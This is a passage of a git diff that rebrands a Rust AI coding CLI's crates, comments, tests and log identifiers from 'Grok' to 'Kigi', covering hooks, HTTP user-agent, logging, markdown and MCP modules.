-    /// `"\u{f8ff}__GROK_HOOKS_MASK__\u{f8ff}"`. A user-supplied
+    /// `"\u{f8ff}__KIGI_HOOKS_MASK__\u{f8ff}"`. A user-supplied
     /// `extra_env` value containing that exact byte sequence would
     /// have been silently rewritten to `${` by the unmask step. The
     /// per-call randomized sentinel removes this hazard. This
@@ -713,7 +713,7 @@ mod tests {
     /// though the input also references that variable through `${VAL}`.
     #[test]
     fn expand_preserves_pre_existing_legacy_fixed_sentinel_in_extra() {
-        let legacy_sentinel = "\u{f8ff}__GROK_HOOKS_MASK__\u{f8ff}";
+        let legacy_sentinel = "\u{f8ff}__KIGI_HOOKS_MASK__\u{f8ff}";
         let mut extra = HashMap::new();
         // Value embeds the legacy sentinel followed by what would
         // have been parsed as an identifier+brace if the unmask
diff --git a/crates/codegen/kigi-hooks/src/event.rs b/crates/codegen/kigi-hooks/src/event.rs
index c3d147c..02d68fe 100644
--- a/crates/codegen/kigi-hooks/src/event.rs
+++ b/crates/codegen/kigi-hooks/src/event.rs
@@ -529,7 +529,7 @@ mod tests {
             prompt_id: None,
             payload: HookPayload::SessionStart {
                 source: "new".into(),
-                model_id: Some("grok-3".into()),
+                model_id: Some("kigi-3".into()),
                 agent_type: None,
             },
         };
diff --git a/crates/codegen/kigi-hooks/src/lib.rs b/crates/codegen/kigi-hooks/src/lib.rs
index 169f780..0724ede 100644
--- a/crates/codegen/kigi-hooks/src/lib.rs
+++ b/crates/codegen/kigi-hooks/src/lib.rs
@@ -1,11 +1,11 @@
 //! # kigi-hooks
 //!
-//! Runtime hook system for Grok — file-based discovery, command execution,
+//! Runtime hook system for Kigi — file-based discovery, command execution,
 //! and policy enforcement.
 //!
 //! ## Overview
 //!
-//! This crate provides a minimal hooks system for Grok. Hooks are discovered
+//! This crate provides a minimal hooks system for Kigi. Hooks are discovered
 //! from dedicated directories (`~/.kigi/hooks/` and `<git-worktree-root>/.kigi/hooks/`),
 //! defined in JSON files (compatible settings format), and executed as child processes.
 //!
diff --git a/crates/codegen/kigi-hooks/src/matcher.rs b/crates/codegen/kigi-hooks/src/matcher.rs
index 671ceb1..0f6d221 100644
--- a/crates/codegen/kigi-hooks/src/matcher.rs
+++ b/crates/codegen/kigi-hooks/src/matcher.rs
@@ -6,9 +6,9 @@ use regex::Regex;
 ///
 /// - an empty pattern or `"*"` matches every tool;
 /// - a "simple" pattern (only `[A-Za-z0-9_|]`, i.e. a plain name or `|`-list) is an
-///   **exact** match against each name (after external→Grok alias expansion), NOT a regex;
+///   **exact** match against each name (after external→Kigi alias expansion), NOT a regex;
 /// - anything else is an **unanchored** regex (also tested against the tool's external
-///   alias names, so e.g. `^Bash$` matches the Grok tool `run_terminal_command`).
+///   alias names, so e.g. `^Bash$` matches the Kigi tool `run_terminal_command`).
 ///
 /// The simple-vs-regex split is deliberate: it avoids anchoring a `|`-alternation (a
 /// naive `^a|b|c$` anchors only the first/last term and silently over-matches). Whitespace
@@ -61,8 +61,8 @@ fn is_simple_form(pattern: &str) -> bool {
 }
 
 /// Expand a simple-form pattern into the exact set of names it matches: each `|`-term
-/// plus any Grok tool names that term aliases (so `"Bash"` also matches
-/// `run_terminal_command`), per the shared external-name to Grok registry in
+/// plus any Kigi tool names that term aliases (so `"Bash"` also matches
+/// `run_terminal_command`), per the shared external-name to Kigi registry in
 /// `kigi-tools`. Empty terms and duplicates are dropped.
 fn exact_names(pattern: &str) -> Vec<String> {
     let mut names: Vec<String> = Vec::new();
@@ -155,22 +155,22 @@ mod tests {
     // ── External tool-name aliases ────────────────────────────────
 
     #[test]
-    fn claude_bash_matches_grok_tool() {
+    fn claude_bash_matches_kigi_tool() {
         let m = HookMatcher::new("Bash").unwrap();
         assert!(m.is_match("Bash")); // external alias name
-        assert!(m.is_match("run_terminal_command")); // Grok name
+        assert!(m.is_match("run_terminal_command")); // Kigi name
         assert!(!m.is_match("read_file"));
         // Bug-fix regression: exact, not prefix.
         assert!(!m.is_match("run_terminal_command_v2"));
     }
 
     #[test]
-    fn claude_edit_write_matches_grok_tool_exactly() {
+    fn claude_edit_write_matches_kigi_tool_exactly() {
         let m = HookMatcher::new("Edit|Write").unwrap();
         assert!(m.is_match("Edit"));
         assert!(m.is_match("Write"));
-        assert!(m.is_match("search_replace")); // Grok equivalent
-        assert!(m.is_match("hashline_edit")); // second Grok alias
+        assert!(m.is_match("search_replace")); // Kigi equivalent
+        assert!(m.is_match("hashline_edit")); // second Kigi alias
         assert!(!m.is_match("read_file"));
         // The old anchoring bug matched these; the exact-list mode must not.
         assert!(!m.is_match("Editorial"));
@@ -178,7 +178,7 @@ mod tests {
     }
 
     #[test]
-    fn claude_read_matches_grok_tool() {
+    fn claude_read_matches_kigi_tool() {
         let m = HookMatcher::new("Read").unwrap();
         assert!(m.is_match("Read"));
         assert!(m.is_match("read_file"));
@@ -186,8 +186,8 @@ mod tests {
     }
 
     #[test]
-    fn regex_against_claude_alias_matches_grok_tool() {
-        // A regex written against an external alias still matches the Grok tool
+    fn regex_against_claude_alias_matches_kigi_tool() {
+        // A regex written against an external alias still matches the Kigi tool
         // (legacy alias-name expansion).
         let m = HookMatcher::new("^Bash$").unwrap();
         assert!(m.is_match("run_terminal_command"));
diff --git a/crates/codegen/kigi-hooks/src/runner/command.rs b/crates/codegen/kigi-hooks/src/runner/command.rs
index ad0e53a..e8915ea 100644
--- a/crates/codegen/kigi-hooks/src/runner/command.rs
+++ b/crates/codegen/kigi-hooks/src/runner/command.rs
@@ -87,7 +87,7 @@ pub async fn run_command_hook(
     let mut cmd = if is_shell_command {
         // Refuse to spawn when the command interpolates an env var that
         // we can't resolve from any of: the runner's always-set vars, the
-        // per-hook extra_env (plugin vars), or Grok's own process env. The
+        // per-hook extra_env (plugin vars), or Kigi's own process env. The
         // alternative is letting sh expand the var to empty -- which then
         // produces a broken command, exits 127, and (for PreToolUse hooks)
         // fails closed with an opaque "exit code 127" reason. Catching it
@@ -287,7 +287,7 @@ pub(crate) const RUNNER_ALWAYS_SET_ENV: &[&str] = &[
 /// * the runner's always-set env vars (see [`RUNNER_ALWAYS_SET_ENV`]),
 /// * the per-hook `extra_env` map (set by the plugin adapter for plugin
 ///   hooks),
-/// * the Grok process's own environment (which is inherited by the child),
+/// * the Kigi process's own environment (which is inherited by the child),
 /// * local shell assignments inside the command itself (e.g. an
 ///   `INPUT=$(cat)` earlier in the string defines `INPUT` for the rest of
 ///   the command).
diff --git a/crates/codegen/kigi-hooks/src/trust.rs b/crates/codegen/kigi-hooks/src/trust.rs
index 66b79d3..3c999a6 100644
--- a/crates/codegen/kigi-hooks/src/trust.rs
+++ b/crates/codegen/kigi-hooks/src/trust.rs
@@ -6,7 +6,7 @@ use std::path::{Path, PathBuf};
 // exist only to migrate prior grants out of the legacy file.
 
 /// Path to the legacy project-hook trust file
-/// (`<user_kigi_home>/trusted-hook-projects`), or `None` when no user grok home
+/// (`<user_kigi_home>/trusted-hook-projects`), or `None` when no user kigi home
 /// resolves. Retained only for the one-time migration into folder-trust.
 pub fn legacy_trust_file_path() -> Option<PathBuf> {
     Some(kigi_config::user_kigi_home()?.join("trusted-hook-projects"))
@@ -59,7 +59,7 @@ fn is_hook_disabled_with_file(hook_name: &str, file: &Path) -> bool {
 /// Disable a hook by name. Adds to .
 pub fn disable_hook(hook_name: &str) -> Result<(), String> {
     let file = disabled_hooks_file_path()
-        .ok_or_else(|| "no user grok home (set $KIGI_SHARE_DIR or $HOME)".to_string())?;
+        .ok_or_else(|| "no user kigi home (set $KIGI_SHARE_DIR or $HOME)".to_string())?;
     disable_hook_with_file(hook_name, &file)
 }
 
@@ -122,7 +122,7 @@ fn enable_hook_with_file(hook_name: &str, file: &Path) -> Result<bool, String> {
     Ok(true)
 }
 
-/// Returns the path to `$KIGI_SHARE_DIR/disabled-hooks`, or `None` when no user grok
+/// Returns the path to `$KIGI_SHARE_DIR/disabled-hooks`, or `None` when no user kigi
 /// home resolves.
 fn disabled_hooks_file_path() -> Option<PathBuf> {
     Some(kigi_config::user_kigi_home()?.join("disabled-hooks"))
@@ -134,9 +134,9 @@ mod tests {
 
     /// Each test creates its own legacy file in its own temp dir -- no shared state.
     fn trust_file_in(dir: &Path) -> PathBuf {
-        let grok_dir = dir.join(".kigi");
-        std::fs::create_dir_all(&grok_dir).unwrap();
-        grok_dir.join("trusted-hook-projects")
+        let kigi_dir = dir.join(".kigi");
+        std::fs::create_dir_all(&kigi_dir).unwrap();
+        kigi_dir.join("trusted-hook-projects")
     }
 
     #[test]
diff --git a/crates/codegen/kigi-http/Cargo.toml b/crates/codegen/kigi-http/Cargo.toml
index aef772c..2ad0029 100644
--- a/crates/codegen/kigi-http/Cargo.toml
+++ b/crates/codegen/kigi-http/Cargo.toml
@@ -3,7 +3,7 @@ license = "Apache-2.0"
 name = "kigi-http"
 version.workspace = true
 edition.workspace = true
-description = "Shared reqwest HTTP clients and User-Agent construction for the grok CLI."
+description = "Shared reqwest HTTP clients and User-Agent construction for the kigi CLI."
 
 [dependencies]
 reqwest = { workspace = true, features = ["blocking"] }
diff --git a/crates/codegen/kigi-http/src/lib.rs b/crates/codegen/kigi-http/src/lib.rs
index 68cd513..d782b81 100644
--- a/crates/codegen/kigi-http/src/lib.rs
+++ b/crates/codegen/kigi-http/src/lib.rs
@@ -488,7 +488,7 @@ mod tests {
     #[test]
     fn origin_client_info_from_meta_extracts_identifier_and_version() {
         let meta = serde_json::json!({
-            "clientIdentifier": "grok-desktop",
+            "clientIdentifier": "kigi-desktop",
             "clientVersion": "1.2.3",
         })
         .as_object()
@@ -497,7 +497,7 @@ mod tests {
         assert_eq!(
             origin_client_info_from_meta(Some(&meta)),
             Some(OriginClientInfo {
-                product: "grok-desktop".to_string(),
+                product: "kigi-desktop".to_string(),
                 version: Some("1.2.3".to_string()),
             })
         );
@@ -505,8 +505,11 @@ mod tests {
 
     #[test]
     fn origin_client_info_from_meta_uses_client_type_when_identifier_absent() {
+        // `kigi_web` is used (not the pager) because its user-agent label is
+        // distinct from the Generic default's `kigi` — a clientType parse
+        // failure would fall back to Generic and this assert would catch it.
         let meta = serde_json::json!({
-            "clientType": "grok_pager",
+            "clientType": "kigi_web",
             "clientVersion": "0.1.2",
         })
         .as_object()
@@ -515,28 +518,39 @@ mod tests {
         assert_eq!(
             origin_client_info_from_meta(Some(&meta)),
             Some(OriginClientInfo {
-                product: "grok-pager".to_string(),
+                product: "kigi-web".to_string(),
                 version: Some("0.1.2".to_string()),
             })
         );
+        // First-party clients collapse to the plain `kigi` product (PRD F3).
+        let pager_meta = serde_json::json!({ "clientType": "kigi_pager" })
+            .as_object()
+            .cloned()
+            .unwrap();
+        assert_eq!(
+            origin_client_info_from_meta(Some(&pager_meta))
+                .expect("pager clientType resolves")
+                .product,
+            "kigi"
+        );
     }
 
     #[test]
     fn merge_origin_client_info_preserves_primary_product_and_backfills_version() {
         let merged = merge_origin_client_info(
             Some(OriginClientInfo {
-                product: "grok-web".to_string(),
+                product: "kigi-web".to_string(),
                 version: None,
             }),
             Some(OriginClientInfo {
-                product: "grok-desktop".to_string(),
+                product: "kigi-desktop".to_string(),
                 version: Some("1.2.3".to_string()),
             }),
         );
         assert_eq!(
             merged,
             Some(OriginClientInfo {
-                product: "grok-web".to_string(),
+                product: "kigi-web".to_string(),
                 version: Some("1.2.3".to_string()),
             })
         );
@@ -545,18 +559,18 @@ mod tests {
     #[test]
     fn session_user_agent_string_renders_expected_variants() {
         let with_version = session_user_agent_string(&OriginClientInfo {
-            product: "grok-desktop".to_string(),
+            product: "kigi-desktop".to_string(),
             version: Some("1.2.3".to_string()),
         });
-        assert!(with_version.starts_with("grok-desktop/1.2.3 kigi/"));
+        assert!(with_version.starts_with("kigi-desktop/1.2.3 kigi/"));
         assert!(with_version.contains(" ("));
 
         let without_version = session_user_agent_string(&OriginClientInfo {
-            product: "grok-web".to_string(),
+            product: "kigi-web".to_string(),
             version: None,
         });
-        assert!(without_version.starts_with("grok-web kigi/"));
-        assert!(!without_version.starts_with("grok-web/"));
+        assert!(without_version.starts_with("kigi-web kigi/"));
+        assert!(!without_version.starts_with("kigi-web/"));
     }
 
     #[test]
diff --git a/crates/codegen/kigi-hunk-tracker/src/lib.rs b/crates/codegen/kigi-hunk-tracker/src/lib.rs
index e24ca70..a008b4c 100644
--- a/crates/codegen/kigi-hunk-tracker/src/lib.rs
+++ b/crates/codegen/kigi-hunk-tracker/src/lib.rs
@@ -2,7 +2,7 @@
 //!
 //! This crate provides:
 //! - Actor-based hunk tracking with source attribution (Agent vs External)
-//! - Integration with grok-shell sessions
+//! - Integration with kigi-shell sessions
 //!
 //! ## Actor Pattern
 //!
diff --git a/crates/codegen/kigi-log/src/appender.rs b/crates/codegen/kigi-log/src/appender.rs
index e2932b3..3fe6611 100644
--- a/crates/codegen/kigi-log/src/appender.rs
+++ b/crates/codegen/kigi-log/src/appender.rs
@@ -36,7 +36,7 @@ pub(crate) fn non_blocking_file_writer(path: &Path) -> std::io::Result<NonBlocki
 }
 
 /// Drop all parked worker guards, flushing their non-blocking writers. Call at
-/// process exit so short-lived runs (e.g. headless `grok -p`) don't lose buffered logs.
+/// process exit so short-lived runs (e.g. headless `kigi -p`) don't lose buffered logs.
 pub(crate) fn flush_file_log_guards() {
     if let Some(m) = FILE_LOG_GUARDS.get() {
         // Recover from a poisoned mutex so exit-flush still drains the guards.
diff --git a/crates/codegen/kigi-log/src/debug_log.rs b/crates/codegen/kigi-log/src/debug_log.rs
index 09ceecf..1960693 100644
--- a/crates/codegen/kigi-log/src/debug_log.rs
+++ b/crates/codegen/kigi-log/src/debug_log.rs
@@ -28,15 +28,15 @@ use kigi_config::kigi_home;
 /// Which env var requested a single-file debug log (drives filter and diagnostics).
 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
 pub(crate) enum DebugSource {
-    GrokLogFile,
-    GrokDebugLog,
+    KigiLogFile,
+    KigiDebugLog,
 }
 
 impl DebugSource {
     fn label(self) -> &'static str {
         match self {
-            Self::GrokLogFile => "KIGI_LOG_FILE",
-            Self::GrokDebugLog => "KIGI_DEBUG_LOG",
+            Self::KigiLogFile => "KIGI_LOG_FILE",
+            Self::KigiDebugLog => "KIGI_DEBUG_LOG",
         }
     }
 }
@@ -62,7 +62,7 @@ pub const RMCP_SSE_NOISE_TARGET: &str = "rmcp::transport::common::client_side_ss
 
 // Broad firehose filter for the routing/KIGI_DEBUG_LOG sources: capture our
 // crates at debug regardless of a narrowing RUST_LOG, with deps at info so they
-// don't flood. Curated first-party allowlist: new grok crates default to `info`
+// don't flood. Curated first-party allowlist: new kigi crates default to `info`
 // until added here.
 const FIREHOSE_BASE_DIRECTIVES: &str = "info,kigi_tui=debug,kigi_shell=debug,kigi_tools=debug,kigi_log=debug,kigi_agent=debug,kigi_mcp=debug,kigi_acp_lib=debug,sampling_log=off";
 
@@ -382,8 +382,8 @@ where
         }
         Some(DebugTarget::SingleFile { path, src }) => {
             let filter = match src {
-                DebugSource::GrokLogFile => default_file_filter(),
-                DebugSource::GrokDebugLog => firehose_filter(),
+                DebugSource::KigiLogFile => default_file_filter(),
+                DebugSource::KigiDebugLog => firehose_filter(),
             };
             match build_file_layer::<S>(&path, filter) {
                 Ok(layer) => registry.with(layer).init(),
@@ -417,11 +417,11 @@ pub(crate) enum DebugTarget {
 ///
 /// Read via `var_os` (not `var`) so a non-UTF-8 path isn't silently dropped.
 pub(crate) fn resolve_debug_target() -> Option<DebugTarget> {
-    let grok_log_file = std::env::var_os("KIGI_LOG_FILE");
-    let grok_debug_log = std::env::var_os("KIGI_DEBUG_LOG");
+    let kigi_log_file = std::env::var_os("KIGI_LOG_FILE");
+    let kigi_debug_log = std::env::var_os("KIGI_DEBUG_LOG");
     resolve_debug_target_inner(
-        grok_log_file.as_deref(),
-        grok_debug_log.as_deref(),
+        kigi_log_file.as_deref(),
+        kigi_debug_log.as_deref(),
         &kigi_home().join("debug"),
     )
 }
@@ -447,19 +447,19 @@ fn os_path(v: &OsStr) -> PathBuf {
 // `OsStr` so non-UTF-8 paths round-trip; only the bool-vs-path discrimination
 // needs UTF-8 (a non-UTF-8 value can't be a bool keyword, so it's a path).
 fn resolve_debug_target_inner(
-    grok_log_file: Option<&OsStr>,
-    grok_debug_log: Option<&OsStr>,
+    kigi_log_file: Option<&OsStr>,
+    kigi_debug_log: Option<&OsStr>,
     debug_dir: &Path,
 ) -> Option<DebugTarget> {
-    if let Some(raw) = grok_log_file
+    if let Some(raw) = kigi_log_file
         && !is_blank(raw)
     {
         return Some(DebugTarget::SingleFile {
             path: os_path(raw),
-            src: DebugSource::GrokLogFile,
+            src: DebugSource::KigiLogFile,
         });
     }
-    let raw = grok_debug_log?;
+    let raw = kigi_debug_log?;
     match raw.to_str().map(str::trim) {
         Some("" | "0" | "false" | "off" | "no") => None,
         Some("1" | "true" | "on" | "yes") => Some(DebugTarget::PerSession {
@@ -468,7 +468,7 @@ fn resolve_debug_target_inner(
         // Any other UTF-8 value, or a non-UTF-8 value (`None`), is an explicit path.
         _ => Some(DebugTarget::SingleFile {
             path: os_path(raw),
-            src: DebugSource::GrokDebugLog,
+            src: DebugSource::KigiDebugLog,
         }),
     }
 }
@@ -596,7 +596,7 @@ mod tests {
             target,
             DebugTarget::SingleFile {
                 path: PathBuf::from("/tmp/custom.log"),
-                src: DebugSource::GrokDebugLog,
+                src: DebugSource::KigiDebugLog,
             }
         );
     }
@@ -613,7 +613,7 @@ mod tests {
             target,
             DebugTarget::SingleFile {
                 path: PathBuf::from("/tmp/explicit.log"),
-                src: DebugSource::GrokLogFile,
+                src: DebugSource::KigiLogFile,
             }
         );
     }
@@ -651,7 +651,7 @@ mod tests {
         let target = resolve_debug_target_inner(None, Some(raw), Path::new("/debug")).unwrap();
         match target {
             DebugTarget::SingleFile { path, src } => {
-                assert_eq!(src, DebugSource::GrokDebugLog);
+                assert_eq!(src, DebugSource::KigiDebugLog);
                 assert_eq!(path.as_os_str(), raw);
             }
             other => panic!("expected SingleFile for non-UTF-8 path, got {other:?}"),
@@ -954,7 +954,7 @@ mod tests {
     fn prune_old_logs_missing_dir_is_noop() {
         // Best-effort: a nonexistent debug dir must not panic.
         prune_old_logs(
-            Path::new("/no/such/grok/debug/dir"),
+            Path::new("/no/such/kigi/debug/dir"),
             std::time::Duration::from_secs(1),
         );
     }
diff --git a/crates/codegen/kigi-log/src/hooks_log.rs b/crates/codegen/kigi-log/src/hooks_log.rs
index 71a4987..785937b 100644
--- a/crates/codegen/kigi-log/src/hooks_log.rs
+++ b/crates/codegen/kigi-log/src/hooks_log.rs
@@ -12,9 +12,9 @@
 //! ## Enabling
 //!
 //! ```bash
-//! KIGI_HOOKS_LOG=1 grok              # enable, write to ~/.kigi/logs/hooks.log
-//! KIGI_HOOKS_LOG=/tmp/h.log grok     # write to custom path
-//! KIGI_HOOKS_LOG=0 grok              # explicitly disable
+//! KIGI_HOOKS_LOG=1 kigi              # enable, write to ~/.kigi/logs/hooks.log
+//! KIGI_HOOKS_LOG=/tmp/h.log kigi     # write to custom path
+//! KIGI_HOOKS_LOG=0 kigi              # explicitly disable
 //! tail -f ~/.kigi/logs/hooks.log     # watch in another terminal
 //! ```
 
diff --git a/crates/codegen/kigi-log/src/memory_log.rs b/crates/codegen/kigi-log/src/memory_log.rs
index 40878a5..fcbbddf 100644
--- a/crates/codegen/kigi-log/src/memory_log.rs
+++ b/crates/codegen/kigi-log/src/memory_log.rs
@@ -13,7 +13,7 @@
 //!
 //! ```bash
 //! # build with memory logging enabled, then:
-//! KIGI_MEMORY_LOG=0 grok                # disable even when enabled
+//! KIGI_MEMORY_LOG=0 kigi                # disable even when enabled
 //! tail -f ~/.kigi/logs/memory.log      # watch in another terminal
 //! ```
 
diff --git a/crates/codegen/kigi-log/src/unified_log.rs b/crates/codegen/kigi-log/src/unified_log.rs
index 33b0c38..77b020a 100644
--- a/crates/codegen/kigi-log/src/unified_log.rs
+++ b/crates/codegen/kigi-log/src/unified_log.rs
@@ -1,7 +1,7 @@
 //! Centralized unified log for cross-component session observability.
 //!
 //! Shell writes directly via [`emit()`]. Pager and desktop forward entries
-//! over ACP (`x.ai/log` notifications); shell receives them in
+//! over ACP (`kigi/log` notifications); shell receives them in
 //! [`ingest_client_entries()`] and writes on their behalf.
 
 use std::fs::{self, File, OpenOptions};
@@ -29,7 +29,7 @@ const LOG_FILE: &str = "unified.jsonl";
 pub const MAX_SIZE: u64 = 5 * 1024 * 1024; // 5 MB
 
 /// ACP method name for unified log notifications.
-pub const LOG_METHOD: &str = "x.ai/log";
+pub const LOG_METHOD: &str = "kigi/log";
 
 // ---------------------------------------------------------------------------
 // Log entry types
@@ -52,12 +52,12 @@ pub enum LogSource {
     #[strum(serialize = "shell")]
     #[serde(rename = "shell")]
     Shell,
-    #[strum(serialize = "grok-pager")]
-    #[serde(rename = "grok-pager")]
-    GrokPager,
-    #[strum(serialize = "grok-desktop")]
-    #[serde(rename = "grok-desktop")]
-    GrokDesktop,
+    #[strum(serialize = "kigi-pager")]
+    #[serde(rename = "kigi-pager")]
+    KigiPager,
+    #[strum(serialize = "kigi-desktop")]
+    #[serde(rename = "kigi-desktop")]
+    KigiDesktop,
 }
 
 /// A single unified log entry, written as one JSONL line.
@@ -95,7 +95,7 @@ pub struct LogEntry {
     pub ctx: Option<serde_json::Value>,
 }
 
-/// Wire format for the `x.ai/log` ACP notification params.
+/// Wire format for the `kigi/log` ACP notification params.
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct LogNotificationParams {
     /// Source component identifier.
@@ -254,7 +254,7 @@ pub fn emit(lvl: LogLevel, msg: &str, sid: Option<&str>, ctx: Option<serde_json:
 
 /// Ingest a batch of log entries from a client (pager or desktop).
 ///
-/// Called by the `x.ai/log` notification handler. Entries from
+/// Called by the `kigi/log` notification handler. Entries from
 /// [`LogSource::Shell`] are rejected to prevent spoofing.
 pub fn ingest_client_entries(src: LogSource, entries: &[ClientLogEntry]) {
     if matches!(src, LogSource::Shell) || entries.is_empty() {
@@ -381,7 +381,7 @@ mod tests {
     fn log_entry_serializes_full() {
         let entry = LogEntry {
             ts: "2025-07-14T10:30:00.123Z".into(),
-            src: LogSource::GrokPager,
+            src: LogSource::KigiPager,
             pid: Some(4242),
             ver: Some("0.1.211".into()),
             lvl: LogLevel::Warn,
@@ -465,7 +465,7 @@ mod tests {
         for bad in &[
             r#"{"src":"evil","entries":[]}"#,
             r#"{"src":"","entries":[]}"#,
-            r#"{"src":"GROK-PAGER","entries":[]}"#,
+            r#"{"src":"KIGI-PAGER","entries":[]}"#,
         ] {
             assert!(serde_json::from_str::<LogNotificationParams>(bad).is_err());
         }
@@ -474,7 +474,7 @@ mod tests {
     #[test]
     fn notification_params_round_trip() {
         let params = LogNotificationParams {
-            src: LogSource::GrokPager,
+            src: LogSource::KigiPager,
             entries: vec![
                 ClientLogEntry {
                     ts: "2025-07-14T10:30:00.123Z".into(),
diff --git a/crates/codegen/kigi-markdown-core/Cargo.toml b/crates/codegen/kigi-markdown-core/Cargo.toml
index 4c34b1a..a44d3f6 100644
--- a/crates/codegen/kigi-markdown-core/Cargo.toml
+++ b/crates/codegen/kigi-markdown-core/Cargo.toml
@@ -3,7 +3,7 @@ license = "Apache-2.0"
 name = "kigi-markdown-core"
 version.workspace = true
 edition.workspace = true
-description = "Headless markdown analysis sharing Grok Build's exact pulldown-cmark config."
+description = "Headless markdown analysis sharing Kigi's exact pulldown-cmark config."
 
 [dependencies]
 pulldown-cmark = { workspace = true }
diff --git a/crates/codegen/kigi-markdown-core/src/lib.rs b/crates/codegen/kigi-markdown-core/src/lib.rs
index 9500cfb..559eb90 100644
--- a/crates/codegen/kigi-markdown-core/src/lib.rs
+++ b/crates/codegen/kigi-markdown-core/src/lib.rs
@@ -1,19 +1,19 @@
-//! Headless markdown analysis sharing Grok Build's exact `pulldown-cmark` config.
+//! Headless markdown analysis sharing Kigi's exact `pulldown-cmark` config.
 //!
 //! This crate is intentionally lean -- it depends only on `pulldown-cmark` -- so it
 //! can be used without pulling in the terminal-rendering stack (syntect, ratatui,
 //! two-face). [`parser_options`] is the single source of truth for the parser
-//! feature set, shared with `kigi-markdown` so analysis matches what Grok
+//! feature set, shared with `kigi-markdown` so analysis matches what Kigi
 //! Build actually renders 1:1.
 //!
-//! After parsing, Grok applies [`offset_events`]: only `~~…~~` is strikethrough.
+//! After parsing, Kigi applies [`offset_events`]: only `~~…~~` is strikethrough.
 //! Single-tilde pairs (`~text~`) are demoted to literal `~` text so LLM output
 //! like `~**10%**` is not struck (pulldown treats those pairs as strike; we do not).
 
 use pulldown_cmark::{CodeBlockKind, Event, HeadingLevel, Options, Parser, Tag, TagEnd};
 use std::ops::Range;
 
-/// The exact `pulldown-cmark` option set Grok Build uses to render markdown.
+/// The exact `pulldown-cmark` option set Kigi uses to render markdown.
 ///
 /// With `ENABLE_STRIKETHROUGH`, pulldown treats both `~~…~~` and single-`~` pairs as
 /// strike. Callers must consume events via [`offset_events`] so only double-tilde
@@ -26,7 +26,7 @@ pub fn parser_options() -> Options {
         | Options::ENABLE_TABLES
 }
 
-/// Offset event stream from Grok's parser, with single-tilde strikethrough demoted.
+/// Offset event stream from Kigi's parser, with single-tilde strikethrough demoted.
 ///
 /// Prefer this over `Parser::new_ext(...).into_offset_iter()` so analysis and
 /// rendering agree on what counts as strikethrough.
@@ -294,7 +294,7 @@ fn detect_malformed_tables(
     }
 }
 
-/// Parse `text` with Grok Build's options; count elements and flag structural issues.
+/// Parse `text` with Kigi's options; count elements and flag structural issues.
 pub fn analyze(text: &str) -> MarkdownAnalysis {
     let mut stats = MarkdownStats::default();
     let mut issues = Vec::new();
diff --git a/crates/codegen/kigi-mcp/src/acp_transport.rs b/crates/codegen/kigi-mcp/src/acp_transport.rs
index 59bbe55..5b92bbb 100644
--- a/crates/codegen/kigi-mcp/src/acp_transport.rs
+++ b/crates/codegen/kigi-mcp/src/acp_transport.rs
@@ -1,9 +1,9 @@
 //! rmcp transport bridge over the ACP reverse channel.
 //!
-//! In-process SDK MCP servers (the official `grok-agent-sdk`'s `@tool` /
+//! In-process SDK MCP servers (the official `kigi-agent-sdk`'s `@tool` /
 //! `create_sdk_mcp_server`) run in the SDK-host process, not behind a socket. The
 //! agent reaches them by sending each MCP JSON-RPC message to the client as a
-//! reverse `x.ai/mcp/sdk_call` request and feeding the response back. This module
+//! reverse `kigi/mcp/sdk_call` request and feeding the response back. This module
 //! adapts that request/response channel into an rmcp transport so an in-process
 //! server reuses the same `RunningService` / tool-dispatch path as HTTP/stdio
 //! servers for tool calls.
@@ -28,7 +28,7 @@ use serde_json::Value;
 use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader, DuplexStream};
 
 /// Sends one MCP JSON-RPC message to an in-process server over the ACP reverse
-/// channel (`x.ai/mcp/sdk_call`) and returns its JSON-RPC response. The `Err` string is
+/// channel (`kigi/mcp/sdk_call`) and returns its JSON-RPC response. The `Err` string is
 /// surfaced as a JSON-RPC error to the waiting rmcp request (fail-closed: a missing
 /// tool server is a real error, unlike a hook gate).
 ///
@@ -65,7 +65,7 @@ const INTERNAL_ERROR_CODE: i64 = -32603;
 /// Build an rmcp transport that bridges to an in-process MCP server via `invoker`.
 ///
 /// Spawns a pump that forwards each client→server message as a reverse
-/// `x.ai/mcp/sdk_call` and writes the server→client response back. The pump exits when
+/// `kigi/mcp/sdk_call` and writes the server→client response back. The pump exits when
 /// rmcp drops its half of the duplex (service shutdown), so it never leaks.
 ///
 /// `invoke_timeout` is the resolved per-server tool timeout; it bounds every reverse
@@ -159,7 +159,7 @@ async fn read_requests(
             }
         };
         // An id-less message is a notification (no response). The SDK peer rejects reverse
-        // `x.ai/mcp/sdk_call`s without a JSON-RPC id, so id-less messages (e.g. rmcp's
+        // `kigi/mcp/sdk_call`s without a JSON-RPC id, so id-less messages (e.g. rmcp's
         // `notifications/initialized` on every handshake) are logged and discarded locally
         // rather than spawning a doomed round-trip. Safe only because the SDK `Server` is
         // lenient about never receiving `initialized` (a documented v1 limit).
diff --git a/crates/codegen/kigi-mcp/src/credentials.rs b/crates/codegen/kigi-mcp/src/credentials.rs
index 3965c95..24df064 100644
--- a/crates/codegen/kigi-mcp/src/credentials.rs
+++ b/crates/codegen/kigi-mcp/src/credentials.rs
@@ -77,7 +77,7 @@ impl McpCredentialStore {
     /// Save the credential store to the default path.
     pub fn save_default(&self) -> Result<()> {
         let path = Self::default_path().ok_or_else(|| {
-            McpCredentialError::Other("no user grok home (set $KIGI_SHARE_DIR or $HOME)".into())
+            McpCredentialError::Other("no user kigi home (set $KIGI_SHARE_DIR or $HOME)".into())
         })?;
         self.save_to(&path)
     }
@@ -99,7 +99,7 @@ impl McpCredentialStore {
         creds: rmcp::transport::auth::StoredCredentials,
     ) -> Result<()> {
         let path = Self::default_path().ok_or_else(|| {
-            McpCredentialError::Other("no user grok home (set $KIGI_SHARE_DIR or $HOME)".into())
+            McpCredentialError::Other("no user kigi home (set $KIGI_SHARE_DIR or $HOME)".into())
         })?;
         let lock_path = path.with_extension("lock");
 
@@ -417,7 +417,7 @@ mod tests {
 
     #[test]
     fn save_and_load_from_file() {
-        let dir = std::env::temp_dir().join("grok-mcp-credentials-test");
+        let dir = std::env::temp_dir().join("kigi-mcp-credentials-test");
         std::fs::create_dir_all(&dir).unwrap();
         let path = dir.join("test_creds.json");
 
diff --git a/crates/codegen/kigi-mcp/src/oauth.rs b/crates/codegen/kigi-mcp/src/oauth.rs
index c30a5fa..d613218 100644
--- a/crates/codegen/kigi-mcp/src/oauth.rs
+++ b/crates/codegen/kigi-mcp/src/oauth.rs
